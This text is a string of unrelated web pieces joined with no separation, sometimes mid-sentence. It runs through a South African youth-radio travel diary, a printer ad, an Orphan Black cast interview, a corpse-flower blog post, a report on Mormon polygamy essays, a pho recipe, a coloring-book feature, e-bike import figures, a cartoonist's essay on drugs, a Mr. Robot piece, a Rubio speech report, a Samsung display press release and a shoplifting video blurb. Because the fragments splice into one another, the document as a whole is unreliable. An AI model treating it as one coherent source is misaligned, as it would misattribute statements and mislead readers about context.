recorded. They hoped to change their communities’ view of disability and noted the interviewee Sylvia’s words – 'Do not put disabled people inside - give them a platform'. Finally, it was time to choose a topic for next week’s show. Koki suggested a programme around the question ‘which township’s rocking?' They decided to visit four different villages, interview some knowledgeable locals and conduct some vox pops. The kids wanted to promote the positive stuff in their area; such as where was fun to hang out; meet local artists, actors and musicians. Vaaltar FM 93.6 in Taung - www.vaaltar.co.za Sat, 26 January "Re Eme Pele Go Go Ntshetsa Pele" - 'We're ahead of the pack to show you the way' Vaaltar FM is the community radio station for Taung, an area known as 'the lions' home'. Taung is larger than Kuruman (where we were the day before) and Vaaltar FM has a reach of 230,000 listeners. Vaaltar has been on the air for 13 years, a massive achievement. There are 35 people working at the station, with a total annual budget of about £4,000 for wages and £3,000 for running costs. Funds are raised through local advertising and hosting government broadcasts, such as budget announcements from Cape Town. The youth reporters are led by a trainer called 'Notorious', a young presenter with his own African music show every Monday. We heard a great trail for Notorious' show, listen below. Notorious hosts DJ sessions, with local producers coming into the station to spin their latest tunes live on air. In addition to his 'day job', Notorious also leads the youth radio show 'What’s Up'. It’s currently a pre-recorded show, but from February this year it’s going to go out live, which will be a real buzz for the kids. Here’s one of the Public Service Announcements they recorded for the show, warning listeners about drink and drugs. Lesedi led the children in a refresher course on radio reporting and presenting different audio formats, whilst Notorious offered them encouragement and support. I had a quick interview with three of the girls from the team (incidentally, the group was made up of seven girls and one very brave boy) and an 11 year old girl called 'Peace', who was new to the group, asked me some questions. It was her first time ever at the station and the other more experienced children pitched in and helped her with the interview. Everyone was so pleased and excited that we were all there, making great radio and sharing it with the listeners. Kurara FM 98.9 - You have made the ultimate choice! Fri, 25 January Kurara FM is in a former women’s prison, half rebuilt with a corridor and a dozen rooms to house the radio station. It’s in the small town of Kuruman 2 ½ hours’ drive from the mining centre of Kimberley. Sam, Lesedi, myself and Lebo flew into Kimberley early Wednesday morning and drove to Kuruman. Lebo is one of the youth trainers at Kurara FM, living in a small settlement just outside Kurman. The station plays a wide selection of music throughout the day – Afropop in the morning, R&B at lunchtime as well as hip hop and house for stepping out at night. The music is great, especially the Afropop – I hadn’t heard much before and I love the wild synth riffing over drum machine grooves. Lebo and her team of young reporters broadcast their programme, 'Cracking It', from 10.00 to 10.30 am every weekend. 'Cracking It' talks about family life, sex education (or ‘life orientation' as it's known out here) and the problems and issues facing kids and young people in their communities. Violence in the family, bullying at school and teenage pregnancies are just some of the topics discussed by the children in their radio reports and interviews. I met some of the young reporters later in the afternoon, after school, and after another flawless inquisition on their part, I cocked up when it was my turn to interview them and forgot to press record for most of the interview - Doh! You can listen to some of my interviews with the young people on the projects below. At tea-time we were invited back by one of the young reporters, Tlotlego Maroro, to meet his family and see where he lives, in a village just outside town. We met his mum and showed her Tlotlego’s film. A fun interview in Manenberg Thu, 24 January We spent the morning at the Slave Lodge Museum for a final round up of all the training carried out by the amazing Nina, Lesedi and Yumna. Then later in the afternoon, Lesedi drove Sam and I to the township of Manenberg, 20 minutes outside of Cape Town. We had an appointment to meet some of the youngest radio reporters at a youth community centre, funded by CRF's UK office and run by Gwen and Linda. After meeting all the kids, some as young as seven, we settled into a back room for a great interview - one of the most fun I've ever done. A lot of the children asking questions were more interested in my family than the usual interviewers. They asked me for my kids' names, the names of their teachers back in England, as well as my favourite story books - Grimms Tales. A lot of love for Little Red Riding Hood! The children also wanted to listen to some Radiohead, so we played 'Reckoner' and 'High and Dry'. Their feedback: they liked the groove on 'Reckoner' but preferred the song 'High and Dry'. Astute A&R work. And great technical work by Jade (pictured below) on the recorder! An audio slideshow... Tue, 22 January Here's an audio slideshow from Monday afternoon. Lesedi drove us to visit a young people's health centre on 'Site C' in Khayelitsha, the huge settlement just by Cape Town Airport. We met up with Lulu, who works as a counsellor and Ruth, who runs the Children's Radio Foundation project in partnership with Medecins Sans Frontieres. We walked through some of the streets of Khayelitsha to the local library with two youth radio reporters, Zible and Nonjongo, who have both trained on the Children's Radio Foundation project. We enjoyed some of the street vendors’ tasty beef barbecue and ginger beer, then got back in the car and drove to Lookout Hill to see some of the views across the settlement. Nonjongo told us what a hassle it is for her to get to college from Khayelitsha, three buses and a taxi, because that’s how the infrastructure was set up under apartheid – to pen you in and slow you down every day. A postcard from the flower market Mon, 21 January This morning we all reconvened at the slave lodge museum - Sam, myself, the young trainers and two teachers Lesedi and Nina. We learnt about the ‘postcard’ format, a way of making a programme for radio that sets the scene of a place. We learnt how to describe the place using sound, interview people and include your own feelings and reactions. Have a look at the white board (pictured below) to find out more about 'postcards'. It was a lively, fun two hour session broken up with dancing and group games (don’t ask how I did), after which we split up into three reporting teams to go and make a 5 minute ‘postcard’ somewhere nearby. Our team - Lisa, Rishie and Sithem–Biso (pictured below) - chose to go to the flower market on Adderley Street, near to the Slave Museum. Each reporting team of three was divided into presenter, producer and a technician. There was a lot of planning before we recorded - where we should go, who we should talk to. You can listen to the postcard we made below along with a post-recording chat that Sam had with Lisa, Rishie and Sithem–
from your mobile devices through HP ePrint and Apple AirPrint. Keep up to date with your printing progress, with the convenient 196 x 34 LCD screen. Finally, the HP LaserJet Pro M201DW Printer additionally features a massive 250 sheet tray capacity, so you don’t have to fill up as often. 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The seller cannot add a Buy Now price once bidding has started.Season 3 of Orphan Black is a little more than halfway done, and it has been one hell of a ride. Among new enemies, new questions, and even ever-so-briefly a new clone, one of the most titillating new things about this season has been Cosima’s sensual relationship with Shay, a holistic healer she met on the online dating app, Sapphire. Despite causing the ocean to tremble with the threat of ship wars, there is no doubt that Ksenia Solo was a much-anticipated and much-appreciated addition to the Orphan Black cast. photo by Gilles Toucas Though she’s been a busy little bee since leaping from SyFy’s final season of Lost Girl, Ksenia graciously took the time to give us a quick email interview and some inside scoop on what it’s like to be the newest member of the Clone Club. AfterEllen: What was it like joining the Orphan Black cast for Season 3? What made you want to be part of the show? Ksenia Solo: I’ve been a fan from the beginning so it was awesome. AE: What is your favorite thing about playing Shay? KS: She has a very different rhythm and energy than any other characters I’ve played. It was interesting to explore. AE: What do you think it is about Shay that drew Cosima in so immediately, despite her initial hesitations? KS: I think it’s her warmth and free spirit. AE: A lot of people come into the clones’ lives with ill intentions… Can we trust Shay? KS: You’ll just have to watch and see! AE: Will Shay meet Delphine? How will that go? KS: I can’t give too much away, but let’s just say that their paths are bound to cross… [Editor’s Note: I submitted these questions before the most recent episode of “Orphan Black” aired, at the end of which we see a preview for this coming episode, 3.07, that seems to show Delphine at Shay’s door, Shay not loving that her new gal’s ex has appeared at her door and Delphine giving zero fucks about how Shay feels.] AE: Which episode was your favorite to film? (And I know you probably can’t tell us, but it doesn’t hurt to ask: Why was it your favorite?) KS: I really enjoyed episode 5, which was the first one I did. I had such a blast filming that bar scene with Tatiana. AE: Will Shay interact with any other clones besides Cosima? If so, what was that like, working with the same actress as two separate characters? And working with a double? KS: What I can say is that I did briefly work with Tatiana’s double, Kathryn Alexandre, and she was absolutely lovely. AE: Before we learned your character’s name, our readers were calling her “Kenzi” because we were already so familiar with your character in Lost Girl. But Shay turned out to be pretty much the opposite of Kenzi. Do you think you’re more of a Shay or a Kenzi? KS: I will always love Kenzi and she will always be a huge part of me but I spent almost six years creating her. Characters are like people—they grow and change and evolve. Shay is very new to me, I like her and the fact that she is the complete opposite of Kenzi, but it will take some time for me to really get to know her. AE: Since Kenzi was our favorite bisexual succubus’s bestie, you already had plenty of LGBT fangirls hooked, but now (assuming Shay doesn’t murder Cosima) you’ve earned a special kind of loyalty. Are you working on anything we can see you in once Orphan Black goes on hiatus and we’re all in Shay withdrawal (or before!)? KS: You can also see me play Peggy Shippen, a cunning socialite and wife of America’s most notorious traitor, on AMC’s period drama Turn. AE: And, just for fun: What would your reaction be if you found out you were a clone? KS: I would be thrilled. And would definitely want to meet all of my sisters. Tune in to see Ksenia on Orphan Black this Saturday at 9/10c on BBC America.One of the reasons many of us live in the Pacific Northwest is the natural wonders that amaze us all. On this blog Seattle Times writers and photographers will share their explorations of the natural world from snowcaps to whitecaps. Write us at fieldnotes@seattletimes.com with your own sightings, questions and wonders to share. June 8, 2011 at 11:00 PM Posted by Lynda V. Mapes The corpse flower unfurled its stately bloom at the UW Botany greenhouse tonight and was in full splendor by 10 p.m. The stench was just starting to stoke up -- the flower attracts pollinating insects by smelling like carrion -- and had not yet reached its full power. Said to make the eyes water, it should reach full power in the middle of the night tonight. The greenhouse is open til 11 tonight, and reopens for visitors at 8 a.m. tomorrow, when the flower will still be stinky. The scent will fade, but the bloom still be well worth a visit all week. And is it ever. A line of admirers snaked out the door to see the flower, with people waiting half and hour and longer for their chance to come in the steamy greenhouse, and climb a step ladder to peer inside the depths of the flower's giant bloom. It's that big. Its outlandish, Alice in Wonderland appearance is the draw, figures Doug Ewing, who with a team of greenhouse techs at the greenhouse coaxed the flower into bloom after two and a half years of dormancy. It could be years before the flower blooms again, so see it now! With another chance to see such a flower perhaps years away, people were lined up out the door and it was standing room only in the greenhouse last night as the corpse flower unfurled.She said she knew of Smith’s polygamous past, but “it’s so easy for people these days to stumble upon something on the Internet, and it rocks their world and they don’t know where to turn.” In 1890, under pressure by the American government, the church issued a manifesto formally ending polygamy. The church’s essay on this phase admits that some members and even leaders did not abandon the practice for years. But the church did renounce polygamy, and Mormons who refused to do the same eventually broke away and formed splinter churches, some that still exist. Warren Jeffs, the leader of one such group, was convicted in Texas in 2011 of child sexual assault. There remains one way in which polygamy is still a part of Mormon belief: The church teaches that a man who was “sealed” in marriage to his wife in a temple ritual, then loses his wife to death or divorce, can be sealed to a second wife and would be married to both wives in the afterlife. However, women who have been divorced or widowed cannot be sealed to more than one man. Kristine Haglund, the editor of Dialogue: A Journal of Mormon Thought, said that while she found the church’s new transparency “really hopeful,” she and other women she had talked with were disturbed that the essays do not address the painful teaching about polygamy in eternity. “These are real issues for Mormon women,” Ms. Haglund said. “And because the church has never said definitively that polygamy won’t be practiced in heaven, even very devout and quite conservative women are really troubled by it.” The church historian, Elder Snow, said that the process of writing the essays began in May 2012. Each one was drafted by a scholar, often outside the church history department, then edited by church historians and leaders, and vetted by the church’s top authorities. They may issue one more essay, on women and the priesthood, an issue that has grown increasingly controversial as some Mormon women have mobilized to challenge the male-only priesthood.The first time I went out to eat at a Vietnamese restaurant with my family, I was very unsure of what to expect. I had the misconception that the meal would be your run-of-the mill greasy, heavy food, requiring a great deal of extra sweat time at the gym. I was surprised and delighted when I ordered pho soup and was presented with the largest bowl of fresh and flavorful ingredients I had ever happened upon in public. For those of you who are unfamiliar, pho (pronounced ‘fuh’) soup is a classic Vietnamese dish. A typical pho includes rice noodles in broth, a combination of raw and sautéed vegetables, fresh herbs, and rare sliced steak. Since we’re making this meal meatless, we left out the steak and added in meaty sautéed shiitake mushrooms. I sautéed the shiitakes in butter and hoisin sauce, but you can easily switch out the hoisin for soy sauce or liquid aminos. The broth for a traditional pho usually involves a whole lot of spices and a whole lot of simmering–sometimes for up to 3 hours if you’re making the stock yourself! I wanted to make a pho that was doable for a weeknight meal, so I simplified things by making a quick ginger broth instead. I usually serve my pho with store-bought hoisin sauce and chili garlic sauce so that people can mix and match sweet and spicy flavors as desired. You can easily add your favorite vegetables to this 30-Minute Vegetarian Pho too. Since it is spring time, you can throw in asparagus, snow peas, fennel, or sliced radishes; for summer, try thinly sliced zucchini or yellow squash or green beans. Tofu, seitan, or cooked slices of tempeh can be added to up the protein in this recipe too. Pho is highly customizable, so everyone can assemble their own bowls with their favorite add-ins. Who doesn’t love that kind of dinner?!James A. Owen, author of "All the Colors of Magic." The coloring book for adults will be in stores Wednesday, July 8. (Photo: James A. Owen) Story Highlights James A. Owen's "All the Colors of Magic" joins the the trend toward coloring books for grown-ups. The "Imaginarium Geographica" author lives in Taylor, where he grew up. He funded the coloring book through Kickstarter, raising $15,000. When Arizona author and illustrator James A. Owen decided to put together an adult-friendly coloring book based on his dragon-infested fantasy novels, he had no idea he was jumping onto an international bandwagon. The independently published "All the Colors of Magic," which is due to hit Arizona stores Wednesday, July 8, was crowd-funded in a Kickstarter campaign that Owen started in March. "The week after I launched it, I came back from a convention in Denver, and there were these articles about this artist from Scotland, Johanna Basford, who sold, like, 1.4 million coloring books," Owen says. "That's when I realized there's a serious trend here, and we just kind of stepped into the middle of it." The 1.4 million figure is for Basford's "Secret Garden: An Inky Treasure Hunt and Colouring Book," from 2013. This year the artist released a sequel called "Enchanted Forest," sparking a spate of media coverage for the adult-coloring trend. How big is the fad? Well, this month, "Game of Thrones" author George R.R. Martin announced he would oversee a coloring book featuring never-before-seen illustrations of the fantasy novels that spawned the hit series on HBO. In a roundabout way, "Game of Thrones" also is responsible for "All the Colors of Magic," which will be sold at Changing Hands Bookstore and Samurai Comics locations, as well as Gotham City Comics and Coffee in Mesa. Owen's fantasy series, "The Chronicles of the Imaginarium Geographica," originally For "All The Colors of Magic," author James A. Owen made sure the paper was high quality and usable with pencils, watercolors and markers as well as crayons. (Photo: James A. Owen) targeted young adults, but his publisher, Simon & Schuster, was planning to re-release the books with new covers designed to appeal to older readers — and without Owen's illustrations. "Those are currently taking over the bookshelves all over the place, and they've designed them to look a bit like 'Game of Thrones' books, which I'm totally OK with, but I wanted to do something to emphasize the art," Owen says. Because he retained the copyrights to his images, he was able to leverage his sizable online fan base to publish the coloring book on his own. His Kickstarter campaign met its funding goal of $8,500 in less than two weeks and eventually raised more than $15,000. Owen lives in the small eastern Arizona town of Taylor, where he grew up. He started out in comic books with the independent title "Starchild" and made the leap to novels with 2006's "Here, There Be Dragons." It's a fantasy set in the early 20th century, but with talking animals, steam-powered cars and living "dragonships." There are seven books in the series, each featuring Owen's detailed black-and-white illustrations, which have a bit of a retro woodcut feel. That gave him plenty of images to choose from for "All the Colors of Magic," which is billed as "A Coloring Book for All Ages Featuring Dragons, Badgers, a Slightly Depressed Minotaur, Battle Goats, More Dragons and Other Magical Creatures From 'The Chronicles of the Imaginarium Geographica.' " MORE COLORING BOOKS:6 quirky titles for grown-ups Owen plans three more coloring books from the series, assuming the market doesn't suddenly evaporate. Gayle Shanks, co-owner of Changing Hands, says there's little danger of that. "We can't keep them in stock," Shanks says. "We've always sold adult coloring books in addition to children's coloring books. We've always sold them well, but then this series that Chronicle (Books) put out, 'Secret Garden' and 'Enchanted Forest,' for some reason TV picked up on it. It was touted on the 'Today' show, and we had dozens and dozens of requests for those two titles in particular. Owen started his writing and illustrating career with the comic book "Starchild." (Photo: James A. Owen) "I don't see it ending. I must have a dozen publishers who have coloring books who never have before." In addition to nature images, many of the so-called adult coloring books feature intricate designs, such as Buddhist mandalas and Celtic knot work. Coloring them often is described as calming and meditative, an antidote to the chaos and stresses of adult life. "I've had a couple of customers come in and say, 'My therapist has recommended that I buy an adult coloring book, and I feel kind of silly,' " Shanks says. "But I think it's a great idea. I brought one home, and my 7-year-old grandson and I have been working on it together, coloring on opposite sides of the pages." To make sure his book appeals to kids and adults, Owen says he was a stickler for production quality, especially the paper. "If we were going to have a coloring book geared toward adults as well, I wanted something that you could use your crayons on, but you could also use Prismacolor pencils or watercolor or markers," he says. "So we used this really heavy, hundred-pound matte paper for it, and the pages are perforated so you can pull the individual pages out. And then we even ended up deciding to make it perfect bound, so it's a little bit heavier and feels like it has more substance to it." NEWSLETTERS Get the Things to do this weekend newsletter delivered to your inbox We're sorry, but something went wrong Best Things to do this weekend Please try again soon, or contact Customer Service at 1-800-332-6733. Delivery: Thurs Invalid email address Thank you! You're almost signed up for Things to do this weekend Keep an eye out for an email to confirm your newsletter registration. More newsletters As an extra thank-you to his fans, Owen says he'll feature their coloring choices of his artwork on his website, jamesaowen.com. "Once every week or so, I'll pick the one that I like the best, I'll print it out, I'll pin it on my refrigerator, and we'll post a photo of the fridge," he says. "So you made James Owen's fridge. That's the highlight of the week." Reach the reporter at kerry.lengel@arizonarepublic.com or 602-444-4896. Read or Share this story: http://azc.cc/1NkfZQgSYNDICATED NEWS PHOTO CAPTION: A pleasant cycle through the countryside on a step-thru frame electric-assist bicycle. 2014 Shaping Up as Banner Year for eBike Sales in Britain Nearly 50,000 electric bicycles were imported into the UK according to Her Majesty's Revenue and Customs for the 12 month period ending July 2014, an 80% increase over the previous period. Published: 15-Dec-2014 LONDON, UK - The latest import figures from Her Majesty's Revenue and Customs (HMRC) suggest around 49,000 electric bikes were imported into the United Kingdom for the 12 months ending July 2014. Also figures for the first seven months of 2014 are well ahead of previous years. Are e-bikes finally taking off in the UK? Up to July 2014 a total of 28,275 e-bikes were imported into the UK compared to 15,772 in the same period of 2013. This represents a growth of close to 80%! And when comparing the 2014 first seven months import total to the figure for that period in 2012, imports more than doubled! The question is where the huge July influx of more than 10,000 bikes, several times the monthly average, is pointing to? Imports: sales indicator RELATED NEWS ITEMS READER COMMENTS Please enable JavaScript to view the comments powered by Disqus. DisqusArtist's Statement It goes without saying that drugs are bad and that we at The Pain do not in any way condone their abuse. Let the record show that the hooch did William Faulkner’s prose, health, and complexion no favors, and he ended up cowering from invisible dive-bombing Jerries; that Miles Davis mostly sat around watching TV while on heroin and only returned to making music after successfully kicking it; and that as Chancellor of Germany Adolf Hitler made some very poor policy and strategic decisions, at least some of which might be attributed to the daily injections of amphetaimes his doctor had him on after ’42 or so, and that the bad end to which he ultimately came was a direct result of his own poor judgment. Among others, he committed the most famous of the classic blunders: Never Get Involved in the Land War in Asia. A textbook meth-head move. In a clichéd denoument straight out of so many drug education filmstrips, he ended up shooting his wife and himself in an underground bunker while the Russian army closed in around his crumbling empire and his body was doused in gasoline and set on fire, and now he is the most hated person in world history. "You see? You see what happens, Larry? This is what happens when you fuck a stranger in the ass." -Walter Sobchak. Nevertheless, I felt a faint echo of the at-first-bemused-then-increasingly-alarmed disbelief, that creeping disconnect from consensual reality, that I felt back during the darkest days of the Bush administration when I read the recent expressions of what I can only assume was 100% pro forma outrage and remorse over the Michael Phelps “scandal.” Is this really national news--“23-YEAR-OLD MAN SMOKES POT”? (It reminds me of a time when my friend Boyd mocked my namby-pamby fears of getting somehow busted for an ill-advised fling: “What kind of'scandal' are you imagining--‘MAN FUCKS WOMAN!’?”) Who, exactly, is shocked by this revelation—eight-year-olds? Do eight-year-olds control the culture now? Do we all have to pretend we have the moral sensibilities of eight-year-olds for their benefit? And why aren’t we all publicly reviling and shunning the real villain in this story, the loathsome little tattle who sold the photo? Also, not sound to all Revenge-of-the-Nerds here, but why do we expect professional athletes to be role models for young people? Athletic excellence, like artistic excellence, is an amoral achievement. Any asshole can do it. (In fact being an asshole is far from a hindrance to achievement and fame.) Also, the guy just won eight freaking Olympic gold medals. And he has to know, on some level, that this is as good as his life will ever get. That’s got to be a hard thing to grapple with at age twenty-three. Does anyone seriously expect him not to celebrate/console himself by getting fucked up? It seems to me that we as a nation are missing the real moral here, which is that this Olympic record-setting athlete smokes pot and was not immediately transformed into a subhuman junkie--or, worse, as the teen propaganda always warns (knowing that this is the worst imaginable thing for its target audience) A Loser. Or, as my colleague Emily Flake, a hard drinker who never misses a deadline, put it: "Being on drugs is no excuse for not getting shit done." I suspect that what gives drugs their irresistible allure for kids is less their “role models” using them than the hysterical overreactions of the most contemptible, hypocritical, censorious bullying authority-figure adults. I mean, with lame-os and squares like that trying so desperately to keep you totally ignorant about something, you know that thing has got to be fun. Hey, it was true for sex. But s ee, now I’m getting all apoplectic now over something really trivial and tabloidish. This is what you get for paying attention to the news. It's just that, as someone who doesn’t have kids, doesn’t much like them, and resents having to live in a world that often seems to revolve around them, I have no patience for matters of grown-up law and policy being decided on the basis of what isn’t even actual concern for the well-being of children but rather inhibited adults’ fantasies about childhood innocence. Comedian Adam Carolla, after a visit to Europe, began referring to it as "AdultWorld," because the government trusted you to drink a beer in the park without going apeshit and running amok looting and raping. As a cartoonist, it is my natural and proper rôle to act as a cheerleader for unrepentant libertinism and vice. But I am aware that my cartoon is read by the Impressionable Young, so let me step out of my official persona for a moment to say, in all seriousness, that drugs are to say the least something of a mixed bag, and the unfair fact is that one that is harmless and fun for your friend might turn out, because of some bullshit genetic diathesis, to be a deadly addictive poison for you. And that in any event they tend to destroy rather than enhance ambition and talent over the long haul. There is, appparently, no such thing as a neurochemical free lunch. If I were you 'd maybe lay off them at least until you graduate high school. Give your brain a chance to actually finish growing first before you begin the life's work of demolishing it. However, if you ever do achieve the ne plus ultra in your chosen field and become the idol of millions and get set up cushily for life with endorsement contracts, you have my official sanction to Do Bong Hits. Thanks to Emily Flake for letting me steal this idea from a conversation we had over hot wings. Our donation button is directly below. Also, coming soon, I promise: The Pain merchandise, including custom posters, T-shirts, and coffee mugs. Requests and suggestions for featured designs are welcome. In the meantime, buy my books. I just got a royalty check for $32.35. You think that don't hurt? It hurts.The line between reality and fiction is constantly being blurred on USA Network's surprise hit drama "Mr. Robot," and no, I'm not just talking about Christian Slater's titular character. Creator and showrunner Sam Esmail has revealed that there are other aspects from season one that aren't real. Wait, what? You're telling me that the mind-bending twist-and-turn first season threw even more curveballs at us than we initially thought? Yep. Also, "there's a reason why [Darlene is] not in the Times Square sequence" when Elliot has a hallucination of his family, Esmail said. Though "Mr. Robot" is seemingly hiding a card up its sleeve at every turn, Esmail insists that he's not trying to produce a show built solely on OMG tweet-worthy reveals. "I'm not interested in 'gotcha' moments or trying to shock or surprise the audience," Esmail said. "As long as that [process] is organic, then it will feel real. It's not my agenda to keep shocking you." To that point, it's true that all of "Mr. Robot's" twists have felt natural, as the audience has learned these truths right alongside protagonist Elliot Alderson (Rami Malek). Esmail plans to continue that trend in the upcoming second season with Elliot's "emotional journey" serving as the centerpiece of the show's sophomore run. "I really wanted to focus on that and make it less about the plot," he said. "For me, the headline for season 2 is, 'How do these two guys [Elliot and Mr. Robot] reconcile? How does Elliot reconcile with the fact that he's been seeing a delusion, a fantasy?' "That's a tough pill to swallow, and we're really going into the mind of a person who's just become aware of it. Will twists organically derive out of that? If I were a better man, I'd say yes." In today's spoiler-centric entertainment landscape, "Mr. Robot" has to be applauded for keeping many of its big reveals a secret right up until they aired live. That's something that will hopefully carry over into season two, especially if Slater has anything to say about it. "Everybody did keep it secret," the actor said. "Nobody spilled the beans. They respect the audience and wanted them to have the full experience." "Mr. Robot" will return to USA Network for a second season on July 13. Follow Brandon Katz at @Great_KatzbyFlorida Senator Marco Rubio recently delivered a speech calling on for Christian conservatives to tone down their rhetoric against the lesbian, gay, bisexual and transgender (LGBT) community. He warned them of the costs of the perpetuation of anti-LGBT rhetoric. (Reuters/Carlo Allegri) U.S. Senator Marco Rubio speaks in Largo, Florida, March 12, 2016. He made his remarks in a conference of Christians located a couple of blocks from the site of the tragic Orlando gay nightclub shooting two months ago. The public comments he made were considered to be his most extensive yet tackling on the LGBT issues, among them the prejudice against the community. However, he steered away from the discussion of same-sex marriage as he has repeatedly declared his opposition during his campaign for the Republican presidential nomination earlier this year. He still made it clear that he believes that a marriage should be between a man and a woman. "I want to be clear with you: Abandoning judgment and loving our LGBT neighbors is not a betrayal of what the Bible teaches. It is a fulfillment of it," Sen. Rubio said during a speech, citing the Bible verse Matthew 7:1, which says "Judge not, that ye be not judged." Rubio further reminded the participants of the conference of the persecution of the LGBT community throughout American history and called for them to be more sympathetic to the current problems faced by LGBTs. "When it comes to our brothers and our sisters, our fellow Americans, our neighbors in the L.G.B.T. community, we should recognize," he said. "[American history] has been marred by discrimination against and rejection of gays and lesbians." Interestingly, the Florida senator has had an extensive record of anti-LGBT legislative actions. He opposed LGBT laws such as giving gay parents the ability to adopt children and he even voted against anti-discrimination protections in places of work.SEOUL, South Korea--(BUSINESS WIRE)--Samsung Display, the largest producer of OLED and LCD electronic display panels in the world, today released key details about its new Flexible AMOLED display— the most advanced in the mobile industry – now being used on Galaxy S®6 edge smartphones. A technical backgrounder immediately follows. “We are witnessing enormous interest in our leading-edge Flexible OLED display, even more than had been anticipated,” said Ho Jung Kim, a spokesman for Samsung Display. “We are working extra hours to increase our production levels in order to meet the extremely high demand,” he added. The Flexible AMOLED display, Samsung’s third curved or bended mobile display, has been rated exceptionally well by reviewers and touted by analysts across the industry. OLED technology is widely considered the premium technology for mobile displays due to its high color gamut, high contrast (blackest blacks), more natural images than conventional displays, and optimized features such as touch control and speed of access. Samsung Display’s latest version provides extremely bright, colorful images with 3.6 million pixels, in addition to low power consumption and an unusually fast response time. About Samsung Display Samsung Display is a global leader in the design and manufacturing of OLED and LCD display panels. It produces high-quality OLED and LCD displays for consumer, mobile, IT and industrial usage around the world. ® Registered trademarks of Samsung Electronics Co., Ltd. Samsung Flexible AMOLED Display Media Backgrounder In Oct, 2013, Samsung Display mass produced a display using the world’s first flexible AMOLED (active matrix organic light-emitting diode) technology in a curved design, and applied it to the Samsung Galaxy Round smartphone. Last year, with the release of the Galaxy Note® Edge, it improved the technology as the YOUM Bended Display and saw it introduced in the Samsung Note Edge display. With its new Flexible AMOLED Display, Samsung Display is now taking a major step to advance design innovation in the smartphone market even further with its first dual-edge display being introduced in the Galaxy S®6 edge, which features two nicely curved or beveled sides. Flexible AMOLED technology will continue to evolve from curved, to bended, foldable and even “rollable” designs. Our ‘Edge’ displays are actually the vanguard of the second phase – bended displays. Substrate Material Samsung Display’s Flexible AMOLED uses polyimide (PI), an advanced type of plastic, as the substrate material rather than hard glass used in rigid AMOLED panels. PI is a high polymer material with characteristics of exceptional flexibility, resilience and shock resistance. Samsung has been able to make an extremely thin film out of it – less than a millimeter thick (thinner than a human hair). That’s thinner than any other display on the market today. With the thickness of the AMOLED substrate being less than half the thickness of glass substrates in conventional mobile LCD displays, Samsung has been able to deposit an electronic circuit onto it and evaporate a luminant RGB organic device, to realize the display’s industry-leading bendable characteristic – making it potentially more bendable than a human hair. Degree of Curvature Our new Flexible AMOLED display can be used in a ‘dual-faceted’ design with two rounded sides or in single-edge applications. Thanks to a curvature of 6.5R for each side, the consumer-minded design is easy to grab onto with just one hand. ‘UX Matters’, an American non-profit organization analyzing user experiences with mobile devices, recently confirmed that, indeed, most people use only one hand to search for information on their mobile device. In particular, most use their right thumbs to swipe their screen for touch commands. Picture Clarity Samsung’s Flexible AMOLED delivers Quad HD picture clarity at 1440 X 2560 pixels with a pixel density of 577 ppi, currently the highest resolution available for any smartphone. It can deposit more than 3.6 million RGB organic subpixels on its PI substrate, allowing the user to see the finest image detail and the smoothest fonts. The total number of pixels in the Flexible AMOLED display is 75 percent higher than the number in a full HD AMOLED screen like that used in the Galaxy S®5. Power Use The Flexible AMOLED Display can drive each of its pixels individually. This helps it to reduce power consumption. Its pixel control allows for the use of ‘partial operation technology’ permitting a smartphone to make use of only 7mm of each column of the curved display at any one time -- therein reducing power consumption today by about 20 percent and possibly more in the future. Comparatively, note that in an LCD mobile display, a simple widget or pop-up message uses the entire backlight unit to illuminate the screen. Color Richness The Flexible AMOLED has the industry’s highest color reproduction rate. It has a color gamut that perfectly supports the Adobe RGB color scale. Adobe RGB covers a 30% wider range of colors than sRGB, which is the most frequently used color standard today. QHD AMOLED display technology can depict almost 100% of Adobe RGB, while LCD can replicate only about 70% because of its inherent structural limitations in requiring a backlight illumination source. Speeds and Image Clarity Due to the display’s highly advanced ability to rapidly adjust brightness levels, consumers won’t be bothered by image artifacts while watching a movie, video clip or game, nor be subjected to annoying eyestrain when watching for long hours. AMOLED can respond to image transitions quickly because of light-emitting subpixels that produce their own color. On the other hand, an LCD display passes light by changing the orientation of its liquid crystals (LC). So when the LC’s response speed slows – for example at low temperatures, transition time slows down, too. The Flexible AMOLED display has a response speed of 0.01ms, which means that it can deliver images up to hundreds of times faster than a mobile device equipped with an LCD (8ms), once new application processors are introduced. Finger Aid As the average size of a smartphone increases,, when a consumer uses only one hand to access data, his or her finger muscle can become fatigued when accessing touch menus or icons placed on the upper part of a screen. In general, potential problems with smartphone-related conditions, such as ‘Dequervain Syndrome’, caused by straining a finger muscle and wrist, can be minimized by the use of curved displays. Edge displays have been optimized to achieve the greatest amount of user convenience on the market today. Consumers can move the icons and menus that they most frequently use to an Edge screen so that their favorites can be easily touched with just one hand, reducing finger fatigue by as much as 20 times over. Growing demand The era of Big Data is upon us, and the amount of available information is exploding. Under these circumstances, there is a high possibility that conveying information through a side of a device that had previously been considered ‘dead space’ will become a highly popular trend. Through the use of bended or flexible display technology, text messages, news and weather information can now be rapidly accessed over a smartphone’s edge screen which previously was wasted. There is seemingly no limit to the growing number of areas of mobile electronics in which Flexible AMOLED technology can be applied. In the future, more and more consumer products such as the rapidly growing number of wearable devices and other entry devices to the Internet of Things will embrace the usefulness and attractiveness of flexible display curvature and the vibrant, feature-rich world of OLED imagery. ® Registered trademarks of Samsung Electronics Co., Ltd.Store manager vs alleged shoplifter KodyXO's video has everything going for it, from landscape-oriented 60fps footage to elderly ladies refereeing a wrestling match in a grocery store between a store manager and an alleged shoplifter. There's even an annoying photobomber! EMPLOYEE: "You're shoplifting, you can't shoplift
